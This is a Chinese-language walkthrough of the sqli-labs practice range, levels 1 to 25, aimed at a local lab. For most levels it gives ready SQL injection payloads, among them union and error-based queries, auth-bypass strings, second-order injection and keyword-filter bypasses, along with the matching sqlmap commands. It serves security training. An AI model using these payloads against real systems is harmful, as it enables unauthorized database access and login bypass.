sqli-lab通关全解析(Less1-Less25)(上)
字数 1668 2025-08-26 22:11:51
SQL注入实战:sqli-lab通关全解析(Less1-Less25)
前言
本教学文档详细解析sqli-lab前25关的SQL注入技术,涵盖基于报错的注入、盲注、HTTP头注入、Cookie注入等多种注入方式,并提供手工注入和sqlmap自动化工具两种解决方案。
基础注入类型
Less1:单引号闭合的GET报错注入
- 注入类型:GET请求,基于报错,单引号闭合
- 手工注入:
- 闭合方式:
?id=1' --+ - 示例:
?id=1' union select 1,2,database() --+
- 闭合方式:
- sqlmap命令:
python sqlmap.py -u "http://127.0.0.1/sqli/Less-1/?id=1" --dbs --batch
Less2:数字型注入
- 注入类型:GET请求,基于报错,数字型
- 手工注入:
- 直接构造:
?id=1 union select 1,2,database()
- 直接构造:
- sqlmap命令:
python sqlmap.py -u "http://127.0.0.1/sqli/Less-2/?id=1" --dbs --batch
Less3:括号+单引号闭合
- 注入类型:GET请求,基于报错,括号+单引号闭合
- 手工注入:
- 闭合方式:
?id=1') --+
- 闭合方式:
- sqlmap命令:
python sqlmap.py -u "http://127.0.0.1/sqli/Less-3/?id=1" --dbs --batch
Less4:双引号闭合
- 注入类型:GET请求,基于报错,双引号闭合
- 手工注入:
- 闭合方式:
?id=1" --+
- 闭合方式:
- sqlmap命令:
python sqlmap.py -u "http://127.0.0.1/sqli/Less-4/?id=1" --dbs --batch
盲注技术
Less5:双注入报错查询
- 注入类型:单引号闭合,基于时间/布尔盲注
- 手工注入:
?id=1' and (select 1 from (select count(*),concat(((select group_concat(schema_name) from information_schema.schemata)),floor(rand(0)*2))x from information_schema.tables group by x)a) --+ - sqlmap命令:
python sqlmap.py -u "http://127.0.0.1/sqli/Less-5/?id=1" --dbs --batch
Less6:双引号闭合的双注入
- 注入类型:双引号闭合,与Less5类似
- sqlmap命令:
python sqlmap.py -u "http://127.0.0.1/sqli/Less-6/?id=1" --dbs --batch
Less8:布尔盲注
- 注入类型:布尔盲注
- sqlmap命令:
python sqlmap.py -u "http://127.0.0.1/sqli/Less-8/?id=1" --dbs --technique B --batch
Less9:时间盲注
- 注入类型:时间盲注,单引号闭合
- sqlmap命令:
python sqlmap.py -u "http://127.0.0.1/sqli/Less-9/?id=1" --dbs --technique T --batch
Less10:双引号闭合的时间盲注
- 注入类型:双引号闭合的时间盲注
- sqlmap命令:
python sqlmap.py -u "http://127.0.0.1/sqli/Less-10/?id=1" --dbs --technique T --batch
POST型注入
Less11:POST单引号闭合
- 手工注入:
- 万能密码:
'or '1'='1
- 万能密码:
- sqlmap命令:
python sqlmap.py -r target.txt --technique E --dbms mysql --batch
Less12:POST双引号+括号闭合
- 手工注入:
- 万能密码:
") or 1=1 #
- 万能密码:
- sqlmap命令:
python sqlmap.py -r target.txt --technique E --dbms mysql --batch
Less13:POST单引号+括号闭合
- 手工注入:
- 万能密码:
') or 1=1 #
- 万能密码:
- sqlmap命令:
python sqlmap.py -r target.txt --technique E --dbms mysql --batch
Less14:POST双引号闭合
- 手工注入:
- 万能密码:
"or 1=1 #
- 万能密码:
- sqlmap命令:
python sqlmap.py -r target.txt --technique E --dbms mysql --batch
Less15:无报错的POST盲注
- sqlmap命令:
python sqlmap.py -u "http://127.0.0.1/sqli/Less-15" --data "uname=admin&passwd=123456&submit=Submit" --dbs
HTTP头注入
Less18:User-Agent注入
- 注入点:User-Agent头,单引号闭合
- sqlmap命令:
python sqlmap.py -r target.txt --technique E --dbs --batch
Less19:Referer注入
- 注入点:Referer头
- sqlmap命令:
python sqlmap.py -r target.txt --technique E --dbs --batch
Cookie注入
Less20:Cookie注入
- 注入点:Cookie中的uname参数
- sqlmap命令:
python sqlmap.py -r target.txt --technique E --dbs --level 3 --batch
Less21:Base64编码的Cookie注入
- 特点:Cookie值经过Base64编码
- 手工注入:
- 需要将payload进行Base64编码
- sqlmap命令:
python sqlmap.py -r target.txt --technique E --dbs --level 3 --batch
特殊注入技术
Less23:过滤注释符的注入
- 特点:过滤了
--+和# - 手工注入:
- 闭合方式:
?id=1' or '1'='1
- 闭合方式:
- sqlmap命令:
python sqlmap.py -u "http://127.0.0.1/sqli/Less-23/?id=1" --dbs
Less24:二次注入
- 攻击方式:
- 注册用户:
admin'#,密码123456 - 登录后修改密码
- 实际修改的是admin的密码
- 注册用户:
Less25:过滤OR/AND的注入
- 绕过方法:
- 使用
&&代替and,||代替or - 双写+大小写:
Oorr代替or,AandnD代替and
- 使用
- sqlmap命令:
python sqlmap.py -u "url" --hex --dbs
总结
本教学文档详细介绍了sqli-lab前25关的各种SQL注入技术,包括:
- 不同闭合方式的注入(单引号、双引号、括号等)
- 盲注技术(布尔盲注、时间盲注)
- POST型注入
- HTTP头注入(User-Agent、Referer)
- Cookie注入
- 特殊注入技术(二次注入、过滤绕过)
对于每种注入类型,都提供了手工注入方法和sqlmap自动化工具的使用方式,学习者可以根据实际情况选择合适的方法进行测试。